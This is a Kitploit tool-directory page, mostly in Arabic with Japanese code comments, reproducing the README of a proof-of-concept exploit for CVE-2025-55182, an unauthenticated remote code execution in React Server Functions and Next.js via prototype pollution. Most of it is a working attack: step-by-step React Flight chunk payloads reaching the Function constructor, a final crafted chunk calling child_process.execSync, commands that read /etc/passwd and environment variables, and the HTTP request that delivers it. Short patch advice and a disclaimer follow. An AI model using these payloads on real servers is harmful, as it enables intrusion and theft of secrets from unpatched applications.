Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182 | Kitploit
أدوات/GitHubGitHub/yuta3003/cve-2025-55182
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFالأوراق والأبحاثالتعلم والتعليم
GitHubyuta3003/cve-2025-55182

CVE-2025-55182

عرض المستودع
منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-55182

كود إثبات المفهوم (PoC) لثغرة تنفيذ الكود عن بُعد (RCE) في React Server Functions (مثل Next.js). يستغل تلويث النموذج الأولي (Prototype Pollution) لتنفيذ أي كود على الخادم دون الحاجة إلى مصادقة.

ملاحظة: هذا المستودع مخصص للأغراض التعليمية والبحثية. يُمنع منعًا باتًا إساءة الاستخدام.


نظرة عامة

الإصدارات المتأثرة

  • Next.js: 16.0.6 وما قبلها (هشّة)
  • React: قبل هذا الكومت

خطورة الثغرة

  • CVSS: مرتفع (التقييم التفصيلي غير منشور)
  • صعوبة الهجوم: منخفضة (لا يتطلب مصادقة، ويمكن تنفيذه عبر طلب HTTP واحد)
  • نطاق التأثير: تنفيذ كود عشوائي على الخادم

سبب الثغرة

في معالجة إزالة التسلسل ببروتوكول React Flight، كان التحقق من سلسلة النموذج الأولي غير كافٍ. وهذا يتيح الوصول إلى مُنشئ Function عبر __proto__ وتنفيذ أي كود JavaScript.


طريقة الاستخدام

بيئة Docker (موصى بها)

إنها أسهل طريقة للتحقق.

root@kitploit:~
# 1. 脆弱なNext.jsサーバーを起動
docker compose up -d --build

# 1. エクスプロイトを実行(デフォルト: idコマンド)
docker compose run --rm poc

# 4. カスタムコマンドを実行
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc

# 5. サーバーを停止
docker-compose down

شرح تقني

1. المعرفة الأساسية

ما هي React Server Functions

هي ميزة API من جانب الخادم متوفرة في Next.js وغيرها.

root@kitploit:~
// Server Action(サーバー側でのみ実行される関数)
async function submitForm(formData) {
  'use server'  // ← サーバー関数の宣言

  // データベース操作など、サーバー側の処理
  const result = await db.insert(formData)
  return result
}

عند استدعائها من العميل:

  1. تُرسل إلى الخادم كطلب HTTP
  2. تُسلسَل/تُفك تسلسل الوسائط عبر React Flight Protocol
  3. يُنفَّذ الدالة على جانب الخادم
  4. تُعاد النتيجة إلى العميل

آلية عمل React Flight Protocol

يرسل العميل البيانات بوحدات تُسمى «القطع» (Chunks):

root@kitploit:~
files = {
    "0": (None, '["$1"]'),                                  # チャンク0: チャンク1への参照
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # チャンク1: チャンク2のfruitNameを参照
    "2": (None, '{"fruitName":"cherry"}'),                  # チャンク2: 実際のデータ
}

عند إزالة التسلسل على جانب الخادم:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

النقطة الأساسية هي إمكانية الإحالة المرجعية المتبادلة بين القطع.


2. تفاصيل الثغرة

المشكلة

قبل الكومت المُصحِّح، عند حلّ مراجع القطع، لم يكن يتم التحقق مما إذا كان المفتاح موجودًا بالفعل في الكائن.

وهذا يتيح الوصول إلى سلسلة النموذج الأولي.

الهجوم الأساسي (الحصول على مُنشئ Function)

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

عملية حلّ المرجع:

root@kitploit:~
チャンク1のオブジェクト → __proto__ → constructor → constructor → Function

النتيجة:

root@kitploit:~
[Function: Function]  // Functionコンストラクタを取得!

توسيع الهجوم (استغلال دالة then)

اجعل القطعة 0 كائنًا واضبط خاصية then على مُنشئ Function:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

كود Next.js (action-handler.ts:888، قبل التصحيح):

root@kitploit:~
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

يؤدي await هذا إلى محاولة استدعاء then الذي يشير إلى مُنشئ Function، مما يُنتج خطأ:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

3. تقنيات الاستغلال (متقدمة)

التحدي

تمكّنا من الحصول على مُنشئ Function، لكن كيف نجعله ينفّذ كودًا عشوائيًا؟

ما نحتاج إليه:

  1. أداة (Gadget) لاستدعاء مُنشئ Function (تمرير الكود كنص)
  2. أداة لتنفيذ الدالة المُولَّدة

الحل: القطع ذاتية الإحالة

فكرة maple3142: إنشاء «قطعة مزيفة» تشير القطعة 0 فيها إلى نفسها.

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),  # 自分のthenをChunk.prototype.thenで上書き
    "1": (None, '"$@0"'),                          # $@0 = チャンク0の「生」の表現
}

صياغة $@ تُعيد «القطعة الخام» بدلًا من القيمة المُحلَّلة:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

النتيجة: تُستبدل then للقطعة 0 بـ Chunk.prototype.then.

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {
    case "resolved_model":
      initializeModelChunk(this);  // ← ここに入る
  }
  // ...
}

استغلال التقييم على مرحلتين

عند ضبط status: "resolved_model" في القطعة المزيفة، يُستدعى initializeModelChunk:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

داخل initializeModelChunk:

root@kitploit:~
function initializeModelChunk(chunk) {
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...
}

هنا يحدث التقييم الثاني.

الحمولة النهائية: استغلال معالجة Blob

معالجة blob في React Flight Protocol (البادئة $B):

root@kitploit:~
case "B":
  return (
    obj = parseInt(value.slice(2), 16),
    response._formData.get(response._prefix + obj)  // ← ここを悪用
  );

نُعدّل _response في القطعة المزيفة بحيث يكون _formData.get هو مُنشئ Function و_prefix هو الكود المطلوب تنفيذه:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,  # toString()でエラーにならないように
    "value": '{"then": "$B0"}',  # blob参照でthenを設定
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",  # Functionコンストラクタ
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

مسار التنفيذ:

root@kitploit:~
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// この関数がawaitされて呼び出される → コード実行!

4. آلية عمل PoC

تنفّذ poc.py الحمولة المذكورة أعلاه وتستخرج نتيجة تنفيذ الأوامر من رسالة الخطأ:

root@kitploit:~
# コマンド出力をエラーのdigestフィールドに埋め込む
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"

يكفي تعيين Next-Action: x في ترويسة HTTP لنجاح الهجوم:

root@kitploit:~
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)

مهم: يحدث هذا الهجوم أثناء إزالة التسلسل، لذا يُنفَّذ قبل التحقق من الإجراء (getActionModIdOrError).


الإجراءات الوقائية

للمطورين

  1. التحديث الفوري: حدِّث React وNext.js إلى أحدث إصدار

    root@kitploit:~
    npm update react react-dom next
    
  2. التحقق من الإصدار:

    root@kitploit:~
    npm list react next
    
    • Next.js 16.0.7 أو أحدث
    • React 19.2.1 أو أحدث (يتضمن الكومت المُصحِّح)
  3. إجراءات WAF/الأمان:

    • مراقبة ترويسة Next-Action
    • حظر بيانات النماذج غير الطبيعية

فحص الثغرات

root@kitploit:~
# プロジェクトの脆弱性チェック
npm audit

المراجع

  1. التوثيق الرسمي لـ React Server Functions
  2. شرح React Flight Protocol
  3. الكومت المُصحِّح
  4. شرح النماذج الأولية في JavaScript
  5. مُنشئ Function
  6. المكتشِف: maple3142

الترخيص وإخلاء المسؤولية

يُقدَّم هذا المستودع لأغراض تعليمية وبحثية فقط.

  • استخدامه ضد أنظمة أطراف ثالثة دون إذن يُعد غير قانوني
  • لا يتحمل المنشئ أي مسؤولية عن أي ضرر ناتج عن الاستخدام
  • يجب على باحثي الأمن استخدامه بمسؤولية

المساهمات

اكتشاف الثغرة: maple3142 تنفيذ PoC: مُنشئ هذا المستودع

تنزيل الأداة